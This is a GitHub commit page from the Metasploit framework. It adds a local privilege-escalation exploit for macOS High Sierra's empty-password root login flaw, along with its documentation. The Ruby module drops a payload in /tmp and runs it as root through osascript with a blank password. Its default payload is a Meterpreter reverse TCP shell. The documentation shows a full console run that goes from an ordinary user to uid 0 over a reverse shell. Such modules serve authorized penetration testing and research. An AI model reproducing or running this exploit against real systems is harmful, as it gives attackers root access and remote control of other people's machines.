Skip to content

Commit c695828

Browse files
bwatters-r7bwatters-r7
committed
Land rapid7#9255, add local exploit for osx root login with no password
2 parents e73ba0b + 9dc3d60 commit c695828

File tree

2 files changed

+159
-0
lines changed

2 files changed

+159
-0
lines changed

‎documentation/modules/exploit/osx/local/root_no_password.md

Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
This vulnerability works against OSX 10.13 (High Sierra). Early
3+
research (https://objective-see.com/blog/blog_0x24.html) suggests that
4+
the vulnerability is the result of multiple errors ultimately started by
5+
an incorrect return value from triggered by the function
6+
`od_verify_crypt_password` returning true even if the account is
7+
disabled. The subsequent function calls appear to validate and create
8+
the password, though there is still a lot of research into the bug and
9+
these results should be verified once more research has been published.
10+
11+
## Verification Steps
12+
1. Get a session on a vulnerable system
13+
2. `use exploit/osx/local/root_no_password`
14+
3. `set lhost <IP>`
15+
4. `set lport <PORT>`
16+
5. `set session <session_id>`
17+
6. `run`
18+
19+
## Scenarios
20+
### Example Run
21+
```
22+
msf exploit(psexec) > use exploit/multi/handler
23+
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
24+
payload => osx/x64/meterpreter_reverse_tcp
25+
msf exploit(handler) > set lhost <MSF_IP>
26+
lhost => <MSF_IP>
27+
msf exploit(handler) > set lport 4567
28+
lport => 4567
29+
msf exploit(handler) > run
30+
31+
[*] Started reverse TCP handler on <MSF_IP>:4567
32+
httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
33+
34+
meterpreter > sysinfo
35+
Computer : msfusers-Mac.local
36+
OS : (MacOSX 17.0.0)
37+
Architecture : x64
38+
Meterpreter : x64/osx
39+
meterpreter > getuid
40+
Server username: uid=501, gid=20, euid=501, egid=20
41+
meterpreter > background
42+
[*] Backgrounding session 1...
43+
msf exploit(handler) > use exploit/osx/local/root_no_password
44+
msf exploit(root_no_password) > show options
45+
46+
Module options (exploit/osx/local/root_no_password):
47+
48+
Name Current Setting Required Description
49+
---- --------------- -------- -----------
50+
SESSION yes The session to run this module on.
51+
52+
53+
Payload options (osx/x64/meterpreter_reverse_tcp):
54+
55+
Name Current Setting Required Description
56+
---- --------------- -------- -----------
57+
LHOST yes The listen address
58+
LPORT 4444 yes The listen port
59+
60+
61+
Exploit target:
62+
63+
Id Name
64+
-- ----
65+
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
66+
67+
68+
msf exploit(root_no_password) > set lhost <MSF_IP>
69+
lhost => <MSF_IP>
70+
msf exploit(root_no_password) > set lport 4562
71+
lport => 4562
72+
msf exploit(root_no_password) > set session 1
73+
session => 1
74+
msf exploit(root_no_password) > run
75+
76+
[*] Started reverse TCP handler on <MSF_IP>:4562
77+
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
78+
[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
79+
[*] <OSX_IP> - Meterpreter session 2 closed. Reason: Died
80+
81+
82+
[*] Executing payload file as '/tmp/cinbvsmrmyxw'
83+
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
84+
85+
[-] Invalid session identifier: 2
86+
msf exploit(root_no_password) >
87+
msf exploit(root_no_password) >
88+
msf exploit(root_no_password) > run
89+
90+
[*] Started reverse TCP handler on <MSF_IP>:4562
91+
[*] Writing payload file as '/tmp/imtjkakowanv'
92+
[*] Executing payload file as '/tmp/imtjkakowanv'
93+
[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
94+
[+] Deleted /tmp/imtjkakowanv
95+
96+
meterpreter > sysinfo
97+
Computer : msfusers-Mac.local
98+
OS : (MacOSX 17.0.0)
99+
Architecture : x64
100+
Meterpreter : x64/osx
101+
meterpreter > getuid
102+
Server username: uid=0, gid=20, euid=0, egid=20
103+
meterpreter >
104+
```

‎modules/exploits/osx/local/root_no_password.rb

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Mac OS X Root Privilege Escalation',
16+
'Description' => %q{
17+
This module exploits a serious flaw in MacOSX High Sierra.
18+
Any user can login with user "root", leaving an empty password.
19+
},
20+
'License' => MSF_LICENSE,
21+
'References' =>
22+
[
23+
[ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
24+
[ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
25+
[ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
26+
],
27+
'Platform' => 'osx',
28+
'Arch' => ARCH_X64,
29+
'DefaultOptions' =>
30+
{
31+
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
32+
},
33+
'SessionTypes' => [ 'shell', 'meterpreter' ],
34+
'Targets' => [
35+
[ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
36+
],
37+
'DefaultTarget' => 0,
38+
'DisclosureDate' => 'Nov 29 2017'
39+
))
40+
end
41+
42+
def exploit_cmd(root_payload)
43+
"osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
44+
end
45+
46+
def exploit
47+
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
48+
print_status("Writing payload file as '#{payload_file}'")
49+
write_file(payload_file, payload.raw)
50+
register_file_for_cleanup(payload_file)
51+
output = cmd_exec("chmod +x #{payload_file}")
52+
print_status("Executing payload file as '#{payload_file}'")
53+
cmd_exec(exploit_cmd(payload_file))
54+
end
55+
end

0 commit comments

Comments
 (0)